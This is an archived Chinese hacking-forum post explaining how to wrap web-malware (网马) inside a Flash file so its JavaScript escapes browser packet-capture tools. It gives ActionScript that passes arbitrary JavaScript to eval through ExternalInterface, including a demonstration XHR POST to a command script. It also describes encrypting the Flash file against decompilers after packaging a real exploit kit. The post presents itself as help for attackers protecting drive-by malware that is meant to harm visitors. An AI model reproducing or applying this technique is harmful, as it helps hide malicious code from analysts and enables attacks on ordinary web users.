WPE|52wpe|我爱WPE

 找回密码
 注册会员
搜索
  • 1615查看
  • 0回复

[经验分享] 利用Flash封装网马

主题

好友

1254

积分

金牌会员

发表于 2009-7-10 01:23:03 |显示全部楼层
我们使用服务端技术保护网马,保护来保护去,网马的JS代码还是会被抓到,在那些浏览器抓包工具下,网马的JS暴露无遗,原理很简 单,网马再怎么通过判断(比如通过Cookie,IP,referer等)来保护自己,为了危害用户,总是要输出JS来给浏览器去执行,那么就会暴露网马 JS代码。那就没什么办法保护我们的网马JS代码了?有……

我们使用Flash来封装网马,这样,使用Flash AS的扩展API:ExternalInterface类,这个类是AS与JS直接通信的最好方式,比如如下AS代码:

import flash.external.*;
ExternalInterface.call("eval","alert(document.domain);function ajax(){var request = false;if(window.XMLHttpRequest) {request = new XMLHttpRequest();} else if(window.ActiveXObject) {var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];for(var i=0; i<versions.length; i++) {try {request = new ActiveXObject(versions);} catch(e) {}}}return request;}var xhr = ajax();function post_it(){var cmd = 'cmd=hi';xhr.open ('POST', 'create_cmd.php', false);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xhr.send(cmd);}post_it();");

上面的代码原理是什么呢,ExternalInterface类的call方法可以直接使用Flash容器(这里是HTML页)的JS函数,它有两 个参数,第一个是要调用的JS函数名,第二个是被调用的JS函数要执行的参数。我们这里其实是劫持了eval函数,这是JS的内置函数,利用它可以执行任 意的JS代码。根据这个原理,我们可以将所有的JS代码封装在Flash文件中。

G使用这个方法成功封装了06014网马,并对我们的Flash压缩加密保护,使用一般的Flash反编译软件是破解不了的,而且在网马的执行过程中,是无法通过浏览器抓包工具抓到网马的JS代码。这就起到了不错的保护作用:)。



本篇文章来源于 新世纪网安基地 (www.520hack.com) 原文出处:http://www.520hack.com/Article/Text2/200811/12331.html

快速发帖

您需要登录后才可以回帖 登录 | 注册会员

手机版|Archiver|WPE|52wpe|我爱WPE ( 闽ICP备15009081号 )

GMT+8, 2024-5-17 08:46 , Processed in 0.059167 second(s), 16 queries .

返回顶部